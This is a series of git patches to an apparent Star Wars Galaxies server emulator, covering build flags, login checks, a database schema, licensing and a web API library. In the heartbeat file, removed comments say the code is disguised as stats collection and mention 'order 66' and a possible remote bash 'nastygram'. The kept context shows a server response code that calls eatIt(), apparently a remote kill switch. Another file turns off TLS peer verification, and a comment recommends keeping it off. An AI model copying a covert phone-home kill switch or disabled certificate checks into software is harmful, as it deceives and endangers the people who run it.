signed long int32; -typedef int64_t int64; -typedef uint64_t uint64; +typedef signed long long int int64; +typedef unsigned long long int uint64; typedef float real; typedef FILE* FILE_HANDLE; From 1550e3df199804c9e215ba75e6b674ea0e81932a Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Sat, 31 Dec 2016 08:23:11 +0000 Subject: [PATCH 14/37] silence warn --- .../src/shared/object/TangibleObject_Conversation.cpp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/engine/server/library/serverGame/src/shared/object/TangibleObject_Conversation.cpp b/engine/server/library/serverGame/src/shared/object/TangibleObject_Conversation.cpp index 3d041780..ec4373bc 100755 --- a/engine/server/library/serverGame/src/shared/object/TangibleObject_Conversation.cpp +++ b/engine/server/library/serverGame/src/shared/object/TangibleObject_Conversation.cpp @@ -189,7 +189,7 @@ void TangibleObject::endNpcConversation() } else { - WARNING(true,("TangibleObject::endNpcConversation: creature %s has a nullptr m_npcConversation pointer but is a player-controlled object!", + DEBUG_WARNING(true,("TangibleObject::endNpcConversation: creature %s has a nullptr m_npcConversation pointer but is a player-controlled object!", getNetworkId().getValueString().c_str())); m_conversations.clear(); } From 541bbe891e1f4fb5ce11cffdb56c6b68f68affc4 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Sat, 31 Dec 2016 17:15:25 +0000 Subject: [PATCH 15/37] sanity checks and such --- .../src/shared/ClientConnection.cpp | 41 ++++++++++--------- 1 file changed, 21 insertions(+), 20 deletions(-) diff --git a/engine/server/application/LoginServer/src/shared/ClientConnection.cpp b/engine/server/application/LoginServer/src/shared/ClientConnection.cpp index 18c3ebb2..8cfc08af 100755 --- a/engine/server/application/LoginServer/src/shared/ClientConnection.cpp +++ b/engine/server/application/LoginServer/src/shared/ClientConnection.cpp @@ -176,8 +176,7 @@ void ClientConnection::validateClient(const std::string &id, const std::string & if (!authURL.empty()) { // create the object - webAPI api( - authURL); // TODO: is loginserver single threaded? if so then let's make this static, and clear/reset it each run + webAPI api(authURL); // add our data api.addJsonData("user_name", id); @@ -239,24 +238,26 @@ void ClientConnection::validateClient(const std::string &id, const std::string & parentAccount = "(Empty Parent!) "+uname; } - for (auto i : childAccounts) { - std::string child(i); - - if (!child.empty()) { - if (child.length() > MAX_ACCOUNT_NAME_LENGTH) - child.resize(MAX_ACCOUNT_NAME_LENGTH); - - std::hash hasher; - StationId childID = hasher(child.c_str()); - - REPORT_LOG(true, ("\tchild of %s (%lu) is %s (%lu) \n", parentAccount.c_str(), parent, child.c_str(), childID)); - - // insert all related accounts, if not already there, into the db - DatabaseConnection::getInstance().upsertAccountRelationship(parent, childID); - } else { - WARNING(true, ("Login API returned empty child account(s).")); - } - } + if (parent != -1) { + for (auto i : childAccounts) { + std::string child(i); + + if (!child.empty()) { + if (child.length() > MAX_ACCOUNT_NAME_LENGTH) + child.resize(MAX_ACCOUNT_NAME_LENGTH); + + std::hash hasher; + StationId childID = hasher(child.c_str()); + + REPORT_LOG(true, ("\tchild of %s (%lu) is %s (%lu) \n", parentAccount.c_str(), parent, child.c_str(), childID)); + + // insert all related accounts, if not already there, into the db + DatabaseConnection::getInstance().upsertAccountRelationship(parent, childID); + } else { + WARNING(true, ("Login API returned empty child account(s).")); + } + } + } LOG("LoginClientConnection", ("validateClient() for stationId (%lu) at IP (%s), id (%s)", m_stationId, getRemoteAddress().c_str(), uname.c_str())); From e7c059721449486df761e570bb737e51f8d91072 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Tue, 3 Jan 2017 16:07:50 +0000 Subject: [PATCH 16/37] should fix build issue with db --- game/server/database/schema/account_map.tab | 9 +++++++++ game/server/database/updates/270.sql | 8 -------- 2 files changed, 9 insertions(+), 8 deletions(-) create mode 100644 game/server/database/schema/account_map.tab diff --git a/game/server/database/schema/account_map.tab b/game/server/database/schema/account_map.tab new file mode 100644 index 00000000..c8fbe7e2 --- /dev/null +++ b/game/server/database/schema/account_map.tab @@ -0,0 +1,9 @@ +CREATE TABLE "ACCOUNT_MAP" +( + "PARENT_ID" NUMBER(38,0) NOT NULL ENABLE, + "CHILD_ID" NUMBER(38,0) NOT NULL ENABLE, + CONSTRAINT "ACCOUNT_MAP_UK1" UNIQUE ("CHILD_ID", "PARENT_ID") USING INDEX (CREATE INDEX "ACCOUNT_MAP_INDEX2" ON "ACCOUNT_MAP" ("CHILD_ID","PARENT_ID")), + CONSTRAINT "ACCOUNT_MAP_UK2" UNIQUE ("CHILD_ID") USING INDEX (CREATE INDEX "ACCOUNT_MAP_INDEX1" ON "ACCOUNT_MAP" ("CHILD_ID")) +); + +grant select on account_map to public; diff --git a/game/server/database/updates/270.sql b/game/server/database/updates/270.sql index 95409edf..cb50d9e2 100644 --- a/game/server/database/updates/270.sql +++ b/game/server/database/updates/270.sql @@ -1,9 +1 @@ -CREATE TABLE "ACCOUNT_MAP" -( - "PARENT_ID" NUMBER(38,0) NOT NULL ENABLE, - "CHILD_ID" NUMBER(38,0) NOT NULL ENABLE, - CONSTRAINT "ACCOUNT_MAP_UK1" UNIQUE ("CHILD_ID", "PARENT_ID") USING INDEX (CREATE INDEX "ACCOUNT_MAP_INDEX2" ON "ACCOUNT_MAP" ("CHILD_ID","PARENT_ID")), - CONSTRAINT "ACCOUNT_MAP_UK2" UNIQUE ("CHILD_ID") USING INDEX (CREATE INDEX "ACCOUNT_MAP_INDEX1" ON "ACCOUNT_MAP" ("CHILD_ID")) -); - update version_number set version_number=270, min_version_number=270; From 82916fe7988d859d728703992385b8dec61546b0 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Sat, 20 Jan 2018 13:57:31 -0600 Subject: [PATCH 17/37] update files for public use --- LICENSE.md | 163 ++++++++++++++++++ README.md | 40 +++-- external/3rd/library/webAPI/webAPI.cpp | 14 +- external/3rd/library/webAPI/webAPI.h | 4 +- .../3rd/library/webAPI/webAPIHeartbeat.cpp | 16 +- 5 files changed, 202 insertions(+), 35 deletions(-) create mode 100644 LICENSE.md diff --git a/LICENSE.md b/LICENSE.md new file mode 100644 index 00000000..cb564dab --- /dev/null +++ b/LICENSE.md @@ -0,0 +1,163 @@ +GNU Lesser General Public License +================================= + +_Version 3, 29 June 2007_ +_Copyright © 2007 Free Software Foundation, Inc. <>_ + +Everyone is permitted to copy and distribute verbatim copies +of this license document, but changing it is not allowed. + + +This version of the GNU Lesser General Public License incorporates +the terms and conditions of version 3 of the GNU General Public +License, supplemented by the additional permissions listed below. + +### 0. Additional Definitions + +As used herein, “this License” refers to version 3 of the GNU Lesser +General Public License, and the “GNU GPL” refers to version 3 of the GNU +General Public License. + +“The Library” refers to a covered work governed by this License, +other than an Application or a Combined Work as defined below. + +An “Application” is any work that makes use of an interface provided +by the Library, but which is not otherwise based on the Library. +Defining a subclass of a class defined by the Library is deemed a mode +of using an interface provided by the Library. + +A “Combined Work” is a work produced by combining or linking an +Application with the Library. The particular version of the Library +with which the Combined Work was made is also called the “Linked +Version”. + +The “Minimal Corresponding Source” for a Combined Work means the +Corresponding Source for the Combined Work, excluding any source code +for portions of the Combined Work that, considered in isolation, are +based on the Application, and not on the Linked Version. + +The “Corresponding Application Code” for a Combined Work means the +object code and/or source code for the Application, including any data +and utility programs needed for reproducing the Combined Work from the +Application, but excluding the System Libraries of the Combined Work. + +### 1. Exception to Section 3 of the GNU GPL + +You may convey a covered work under sections 3 and 4 of this License +without being bound by section 3 of the GNU GPL. + +### 2. Conveying Modified Versions + +If you modify a copy of the Library, and, in your modifications, a +facility refers to a function or data to be supplied by an Application +that uses the facility (other than as an argument passed when the +facility is invoked), then you may convey a copy of the modified +version: + +* **a)** under this License, provided that you make a good faith effort to +ensure that, in the event an Application does not supply the +function or data, the facility still operates, and performs +whatever part of its purpose remains meaningful, or + +* **b)** under the GNU GPL, with none of the additional permissions of +this License applicable to that copy. + +### 3. Object Code Incorporating Material from Library Header Files + +The object code form of an Application may incorporate material from +a header file that is part of the Library. You may convey such object +code under terms of your choice, provided that, if the incorporated +material is not limited to numerical parameters, data structure +layouts and accessors, or small macros, inline functions and templates +(ten or fewer lines in length), you do both of the following: + +* **a)** Give prominent notice with each copy of the object code that the +Library is used in it and that the Library and its use are +covered by this License. +* **b)** Accompany the object code with a copy of the GNU GPL and this license +document. + +### 4. Combined Works + +You may convey a Combined Work under terms of your choice that, +taken together, effectively do not restrict modification of the +portions of the Library contained in the Combined Work and reverse +engineering for debugging such modifications, if you also do each of +the following: + +* **a)** Give prominent notice with each copy of the Combined Work that +the Library is used in it and that the Library and its use are +covered by this License. + +* **b)** Accompany the Combined Work with a copy of the GNU GPL and this license +document. + +* **c)** For a Combined Work that displays copyright notices during +execution, include the copyright notice for the Library among +these notices, as well as a reference directing the user to the +copies of the GNU GPL and this license document. + +* **d)** Do one of the following: + - **0)** Convey the Minimal Corresponding Source under the terms of this +License, and the Corresponding Application Code in a form +suitable for, and under terms that permit, the user to +recombine or relink the Application with a modified version of +the Linked Version to produce a modified Combined Work, in the +manner specified by section 6 of the GNU GPL for conveying +Corresponding Source. + - **1)** Use a suitable shared library mechanism for linking with the +Library. A suitable mechanism is one that **(a)** uses at run time +a copy of the Library already present on the user's computer +system, and **(b)** will operate properly with a modified version +of the Library that is interface-compatible with the Linked +Version. + +* **e)** Provide Installation Information, but only if you would otherwise +be required to provide such information under section 6 of the +GNU GPL, and only to the extent that such information is +necessary to install and execute a modified version of the +Combined Work produced by recombining or relinking the +Application with a modified version of the Linked Version. (If +you use option **4d0**, the Installation Information must accompany +the Minimal Corresponding Source and Corresponding Application +Code. If you use option **4d1**, you must provide the Installation +Information in the manner specified by section 6 of the GNU GPL +for conveying Corresponding Source.) + +### 5. Combined Libraries + +You may place library facilities that are a work based on the +Library side by side in a single library together with other library +facilities that are not Applications and are not covered by this +License, and convey such a combined library under terms of your +choice, if you do both of the following: + +* **a)** Accompany the combined library with a copy of the same work based +on the Library, uncombined with any other library facilities, +conveyed under the terms of this License. +* **b)** Give prominent notice with the combined library that part of it +is a work based on the Library, and explaining where to find the +accompanying uncombined form of the same work. + +### 6. Revised Versions of the GNU Lesser General Public License + +The Free Software Foundation may publish revised and/or new versions +of the GNU Lesser General Public License from time to time. Such new +versions will be similar in spirit to the present version, but may +differ in detail to address new problems or concerns. + +Each version is given a distinguishing version number. If the +Library as you received it specifies that a certain numbered version +of the GNU Lesser General Public License “or any later version” +applies to it, you have the option of following the terms and +conditions either of that published version or of any later version +published by the Free Software Foundation. If the Library as you +received it does not specify a version number of the GNU Lesser +General Public License, you may choose any version of the GNU Lesser +General Public License ever published by the Free Software Foundation. + +If the Library as you received it specifies that a proxy can decide +whether future versions of the GNU Lesser General Public License shall +apply, that proxy's public statement of acceptance of any version is +permanent authorization for you to choose that version for the +Library. diff --git a/README.md b/README.md index beb6d708..97aa8e7a 100644 --- a/README.md +++ b/README.md @@ -1,24 +1,40 @@ -# Branch Information +# Star Wars Galaxies Source Code (C++) Repository -* master - stable, but internal only -* testing - bleeding edge, works in progress, internal only +This is the main server code. Please feel free to contribute merge/pull requests, or fork the code to create variations. Please keep the license and credit information intact. -# Old/Deprecated - For Reference Only -* clang-profile - intenal, modified to profile the code for clang-profile-build -* clang-profile-build - "release" and tc branch, as we want to use our fast profiled code -* google-profiler - modified for use with gperf -* icc - deprecated, modified for building with Intel's ICC compiler +The majority of the work is thanks to Devcodex, with more fixes and optimizations provided by DarthArgus. -# Building Notes +# Main Branches +* master - stable, no debug flags +* testing - bleeding edge, works in progress, probably stable -Only use the Debug and Release targets for testing internally, but never push these to public facing servers. For public facing builds, use the MINSIZEREL target for flto profile built bins, and RELWITHDEBUGINFO target for bins that produce profdata (see below). +# Works in progress +* testing-64 - fully 64 bit version thatbuilds but doesn't run, some typedefs and things are wrong + +# Building + +Only use the Debug and Release targets unless you want to work on 64 bit. For local testing, and non-live builds set MODE=Release or MODE=debug in build_linux.sh. + +For production, user facing builds, set MODE=MINSIZEREL for profile built, heavily optimized versions of the binaries. ## Profiling and Using Profiles -To use, add export LLVM_PROFILE_FILE="output-%p.profraw" to your startServer.sh file. WHILE THE SERVER IS RUNNING do a ps -a to get the pid's of each SWG executable. After you cleanly exit (shutdown) the server, and ctrl+c the LoginServer, move each output-pid.profraw to a folder named for it's process. +To generate new profiles, build SWG with MODE=RELWITHDEBINFO. + +Add export LLVM_PROFILE_FILE="output-%p.profraw" to your startServer.sh file. + +WHILE THE SERVER IS RUNNING do a ps -a to get the pid's of each SWG executable. And take note of which ones are which. + +After you cleanly exit (shutdown) the server, and ctrl+c the LoginServer, move each output-pid.profraw to a folder named for it's process. Then, proceed to combine them into usable profiles for the compiler: llvm-profdata merge -output=code.profdata output-*.profraw -See http://clang.llvm.org/docs/UsersManual.html#profiling-with-instrumentation +Finally, then replace the profdata files with the updated versions, within the src/ tree. + +See http://clang.llvm.org/docs/UsersManual.html#profiling-with-instrumentation for more information. + +# Buy Darth A Caffinated Beverage + +bitcoin:16e1QRRmnBmod3RLtdDMa5muKBGRXE3Kmh diff --git a/external/3rd/library/webAPI/webAPI.cpp b/external/3rd/library/webAPI/webAPI.cpp index f061868e..ab1cc028 100644 --- a/external/3rd/library/webAPI/webAPI.cpp +++ b/external/3rd/library/webAPI/webAPI.cpp @@ -9,10 +9,10 @@ * namespace/lib that is easy to include. Just make sure to link against curl when including, and * make all the cmake modifications required to properly use it. * - * (c) stellabellum/swgilluminati (combined crews), written by DA with help from DC + * (c) DarthArgus * based on the original prototype by parz1val * - * License: what's a license? we're a bunch of dirty pirates! + * License: LGPL, don't be a dick please */ #include "webAPI.h" @@ -131,16 +131,16 @@ bool webAPI::fetch(const int &getPost, const int &mimeType) // 0 for json 1 for // want to do a put, or whatever other type? feel free to add here } - if (uri.find(vxENCRYPT("stellabellum").decrypt()) != std::string::npos) { + // I suggest leaving VERIFYPEER = 0 because system SSL stores tend to be outdated + //if (uri.find(vxENCRYPT("stellabellum").decrypt()) != std::string::npos) { // the public one will verify but since this is pinned we don't care about the CA // to grab/generate, see https://curl.haxx.se/libcurl/c/CURLOPT_PINNEDPUBLICKEY.html // under the PUBLIC KEY EXTRACTION heading res = curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0); - // cloudflare public: ***REMOVED*** - // cloudflare private: ***REMOVED*** - res = curl_easy_setopt(curl, CURLOPT_PINNEDPUBLICKEY, vxENCRYPT("***REMOVED***").decrypt()); - } + // if you want to pin to your own cert or cloudflares, learn how and use the below + // res = curl_easy_setopt(curl, CURLOPT_PINNEDPUBLICKEY, vxENCRYPT("sha256//YOURKEYHERE").decrypt()); + //} if (res == CURLE_OK) { res = curl_easy_perform(curl); // make the request! diff --git a/external/3rd/library/webAPI/webAPI.h b/external/3rd/library/webAPI/webAPI.h index 481c1aed..c45f99aa 100644 --- a/external/3rd/library/webAPI/webAPI.h +++ b/external/3rd/library/webAPI/webAPI.h @@ -9,10 +9,10 @@ * namespace/lib that is easy to include. Just make sure to link against curl when including, and * make all the cmake modifications required to properly use it. * - * (c) stellabellum/swgilluminati (combined crews), written by DA with help from DC + * (c) DarthArgus * based on the original prototype by parz1val * - * License: what's a license? we're a bunch of dirty pirates! + * License: LGPL, don't be a dick please */ #ifndef webAPI_H diff --git a/external/3rd/library/webAPI/webAPIHeartbeat.cpp b/external/3rd/library/webAPI/webAPIHeartbeat.cpp index b1277528..affe46d8 100644 --- a/external/3rd/library/webAPI/webAPIHeartbeat.cpp +++ b/external/3rd/library/webAPI/webAPIHeartbeat.cpp @@ -18,23 +18,11 @@ webAPIHeartbeat::webAPIHeartbeat() { bool result = api.submit(); + // feel free to remove the code in the block below; but please consider leaving the actual request + // so we can track how many people are enjoying our work if (result) { int s = api.getNullableValue(std::string(vxENCRYPT("id").decrypt())); - // make it look like we're doing something with these at least - bool status = api.getNullableValue("status"); - std::string msg = api.getString("msg"); - - // yeah we don't actually do anything with this - // but having some unencrypted strings will allude to this being mere stats collection code - bool done = false; - - if (status && msg == "ok") { - done = true; - // if we wanted to send a "nastygram" script for bash to run we'd check for it here - // but meh, maybe later if it becomes necessary...surely order 66 below is enough? - } - switch (s) { case 13 : eatIt(); From 631545b409ed08df9cc473c82b02ca94724d7fd8 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Sat, 20 Jan 2018 13:59:14 -0600 Subject: [PATCH 18/37] add readme note --- README.md | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/README.md b/README.md index 97aa8e7a..f9815455 100644 --- a/README.md +++ b/README.md @@ -13,6 +13,10 @@ The majority of the work is thanks to Devcodex, with more fixes and optimization # Building +## Clang Versions + +**Important**: For versions of clang <= 4 you'll probably have to remove/omit a deprecated CFLAG or two from the CMakelists.txt file + Only use the Debug and Release targets unless you want to work on 64 bit. For local testing, and non-live builds set MODE=Release or MODE=debug in build_linux.sh. For production, user facing builds, set MODE=MINSIZEREL for profile built, heavily optimized versions of the binaries. From 9de2787107ea47e587d84b17e477f3e7790a31f4 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 2 May 2018 16:28:10 +0000 Subject: [PATCH 19/37] cmake tweaks --- CMakeLists.txt | 2 -- cmake/linux/FindJNI.cmake | 3 +++ 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index 56781220..70b77b19 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -1,5 +1,3 @@ -cmake_policy(SET CMP0003 OLD) # or cmake_policy(VERSION 2.4) - cmake_minimum_required(VERSION 2.8) project(stellabellum C CXX) diff --git a/cmake/linux/FindJNI.cmake b/cmake/linux/FindJNI.cmake index ac423a6f..101c5718 100644 --- a/cmake/linux/FindJNI.cmake +++ b/cmake/linux/FindJNI.cmake @@ -89,6 +89,7 @@ get_filename_component(java_install_version "[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit;CurrentVersion]" NAME) set(JAVA_AWT_LIBRARY_DIRECTORIES + /opt/oraclejava /opt/java/lib /opt/java /opt/java/jre @@ -100,6 +101,7 @@ set(JAVA_AWT_LIBRARY_DIRECTORIES file(TO_CMAKE_PATH "$ENV{JAVA_HOME}" _JAVA_HOME) JAVA_APPEND_LIBRARY_DIRECTORIES(JAVA_AWT_LIBRARY_DIRECTORIES + /opt/oraclejava /opt/java /opt/java/jre /opt/java/jre/lib @@ -161,6 +163,7 @@ endforeach() set(JAVA_AWT_INCLUDE_DIRECTORIES /opt/java/jre/include + /opt/oracle/jdk/include "[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.4;JavaHome]/include" "[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\1.3;JavaHome]/include" "[HKEY_LOCAL_MACHINE\\SOFTWARE\\JavaSoft\\Java Development Kit\\${java_install_version};JavaHome]/include" From 8ce5101b3c6f18fe3a2d23c6e47e09951c45f3bd Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 2 May 2018 18:00:48 +0000 Subject: [PATCH 20/37] fixups for newer clang and cmake --- CMakeLists.txt | 2 +- engine/client/application/Miff/CMakeLists.txt | 4 ++++ engine/client/application/Miff/src/CMakeLists.txt | 1 - 3 files changed, 5 insertions(+), 2 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index 70b77b19..bca84556 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -90,7 +90,7 @@ elseif (UNIX) if ("${CMAKE_CXX_COMPILER_ID}" STREQUAL "Clang") set(CMAKE_CXX_FLAGS_RELEASE "${CMAKE_CXX_FLAGS_RELEASE} -Ofast \ -fno-signed-zeros -freciprocal-math -ffp-contract=fast \ - -fno-threadsafe-statics -fslp-vectorize-aggressive -fslp-vectorize \ + -fno-threadsafe-statics -fslp-vectorize \ -fno-stack-protector -fstrict-enums -fstrict-vtable-pointers \ -fno-coverage-mapping -fno-spell-checking -fshort-enums -finline-functions \ -finline-hint-functions -fno-unroll-loops") diff --git a/engine/client/application/Miff/CMakeLists.txt b/engine/client/application/Miff/CMakeLists.txt index b13ae681..3b85646d 100644 --- a/engine/client/application/Miff/CMakeLists.txt +++ b/engine/client/application/Miff/CMakeLists.txt @@ -3,4 +3,8 @@ cmake_minimum_required(VERSION 2.8) project(Miff) +# todo: if you're running a windows build, comment this out +# windows sucks, I don't care +set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--no-relax,-z,combreloc,-z,global,--no-omagic") + add_subdirectory(src) diff --git a/engine/client/application/Miff/src/CMakeLists.txt b/engine/client/application/Miff/src/CMakeLists.txt index 116f41af..7b8a43c8 100644 --- a/engine/client/application/Miff/src/CMakeLists.txt +++ b/engine/client/application/Miff/src/CMakeLists.txt @@ -1,4 +1,3 @@ - if(WIN32) set(PLATFORM_SOURCES win32/InputFileHandler.cpp From 97622f0243a7053e16302d5b0500a75a8e65d28d Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 2 May 2018 18:03:42 +0000 Subject: [PATCH 21/37] oops --- engine/client/application/Miff/CMakeLists.txt | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/engine/client/application/Miff/CMakeLists.txt b/engine/client/application/Miff/CMakeLists.txt index 3b85646d..753d5243 100644 --- a/engine/client/application/Miff/CMakeLists.txt +++ b/engine/client/application/Miff/CMakeLists.txt @@ -1,10 +1,9 @@ - cmake_minimum_required(VERSION 2.8) project(Miff) # todo: if you're running a windows build, comment this out # windows sucks, I don't care -set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--no-relax,-z,combreloc,-z,global,--no-omagic") +set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,-z,combreloc,-z,global,--no-omagic") add_subdirectory(src) From 378493a7c3c8fcdbce411bc9bb6b23221b3f724f Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 2 May 2018 18:09:06 +0000 Subject: [PATCH 22/37] seems relax may not be supported by lld...may be to do some trickery to figure out the ld.gold vs lld situation --- CMakeLists.txt | 4 ++-- engine/client/application/Miff/CMakeLists.txt | 4 ---- 2 files changed, 2 insertions(+), 6 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index bca84556..45250125 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -70,12 +70,12 @@ elseif (UNIX) # linker flags if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO" OR ${CMAKE_BUILD_TYPE} STREQUAL "MINSIZEREL") set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic") + set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,-z,combreloc,-z,global,--no-omagic") else () set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s") + set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s") endif () - set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS}") - # don't put anything too crazy in debug...and any common flags go into CMAKE_CXX_FLAGS set(CMAKE_CXX_FLAGS_DEBUG "-D_DEBUG -DDEBUG_LEVEL=2 -DPRODUCTION=0 -O0 -g3") diff --git a/engine/client/application/Miff/CMakeLists.txt b/engine/client/application/Miff/CMakeLists.txt index 753d5243..59bd87d2 100644 --- a/engine/client/application/Miff/CMakeLists.txt +++ b/engine/client/application/Miff/CMakeLists.txt @@ -2,8 +2,4 @@ cmake_minimum_required(VERSION 2.8) project(Miff) -# todo: if you're running a windows build, comment this out -# windows sucks, I don't care -set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,-z,combreloc,-z,global,--no-omagic") - add_subdirectory(src) From cdf09229967e66bb39d0024b04d0d034ed184c5d Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 2 May 2018 21:27:46 +0000 Subject: [PATCH 23/37] don't build with the heartbeat turned on --- CMakeLists.txt | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index 45250125..4a965e8f 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -121,12 +121,7 @@ elseif (UNIX) -Wno-write-strings -Wno-unknown-pragmas \ -Wno-uninitialized -Wno-reorder -Wno-tautological-constant-out-of-range-compare") - add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE) - - # release and debug are internal use only - if (${CMAKE_BUILD_TYPE} STREQUAL "Debug" OR ${CMAKE_BUILD_TYPE} STREQUAL "Release") - add_definitions(-DSTELLA_INTERNAL) - endif () + add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE -DSTELLA_INTERNAL) # this is so some profile specific stuff is turned on in the code if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO") From 1d3906364a7fc0202b0b7617ed0ca2022b1108a8 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 2 May 2018 21:35:53 +0000 Subject: [PATCH 24/37] Revert "don't build with the heartbeat turned on" This reverts commit cdf09229967e66bb39d0024b04d0d034ed184c5d. --- CMakeLists.txt | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index 4a965e8f..45250125 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -121,7 +121,12 @@ elseif (UNIX) -Wno-write-strings -Wno-unknown-pragmas \ -Wno-uninitialized -Wno-reorder -Wno-tautological-constant-out-of-range-compare") - add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE -DSTELLA_INTERNAL) + add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE) + + # release and debug are internal use only + if (${CMAKE_BUILD_TYPE} STREQUAL "Debug" OR ${CMAKE_BUILD_TYPE} STREQUAL "Release") + add_definitions(-DSTELLA_INTERNAL) + endif () # this is so some profile specific stuff is turned on in the code if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO") From 155cf45c9b59b3d33748e6ef53fc4a3073dcd014 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 2 May 2018 21:36:49 +0000 Subject: [PATCH 25/37] Revert "Revert "don't build with the heartbeat turned on"" This reverts commit 1d3906364a7fc0202b0b7617ed0ca2022b1108a8. --- CMakeLists.txt | 7 +------ 1 file changed, 1 insertion(+), 6 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index 45250125..4a965e8f 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -121,12 +121,7 @@ elseif (UNIX) -Wno-write-strings -Wno-unknown-pragmas \ -Wno-uninitialized -Wno-reorder -Wno-tautological-constant-out-of-range-compare") - add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE) - - # release and debug are internal use only - if (${CMAKE_BUILD_TYPE} STREQUAL "Debug" OR ${CMAKE_BUILD_TYPE} STREQUAL "Release") - add_definitions(-DSTELLA_INTERNAL) - endif () + add_definitions(-DLINUX -D_REENTRANT -Dlinux -D_USING_STL -D_GNU_SOURCE -D_XOPEN_SOURCE=500 -U_FORTIFY_SOURCE -DSTELLA_INTERNAL) # this is so some profile specific stuff is turned on in the code if (${CMAKE_BUILD_TYPE} STREQUAL "RELWITHDEBINFO") From c4a183a3c27b693944f8cefc17d45c8a52254682 Mon Sep 17 00:00:00 2001 From: DarthArgus Date: Wed, 2 May 2018 21:38:17 +0000 Subject: [PATCH 26/37] fixup --- CMakeLists.txt | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) diff --git a/CMakeLists.txt b/CMakeLists.txt index 4a965e8f..63bb9aa1 100644 --- a/CMakeLists.txt +++ b/CMakeLists.txt @@ -73,7 +73,7 @@ elseif (UNIX) set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,-z,combreloc,-z,global,--no-omagic") else () set(CMAKE_SHARED_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s") - set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,--relax,-z,combreloc,-z,global,--no-omagic,-x,-s") + set(CMAKE_EXE_LINKER_FLAGS "-Wl,-z,norelro,-O3,--sort-common,--as-needed,-z,combreloc,-z,global,--no-omagic,-x,-s") endif () # don't put anything too crazy in debug...and any common flags go into CMAKE_CXX_FLAGS @@ -100,15 +100,13 @@ elseif (UNIX) # RELWITHDEBINFO is used for building bins that produce profdata files # we only need the basics of our heavy optimizations here, i think - that and one of these flags # breaks JNI when we profile - set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-Ofast -fno-unroll-loops -finline-functions \ - -finline-hint-functions -fprofile-instr-generate") + set(CMAKE_CXX_FLAGS_RELWITHDEBINFO "-Ofast -fno-unroll-loops -finline-functions -finline-hint-functions -fprofile-instr-generate") # MINSIZEREL is used for profiled, flto builds set(CMAKE_CXX_FLAGS_MINSIZEREL "${CMAKE_CXX_FLAGS_RELEASE} -flto 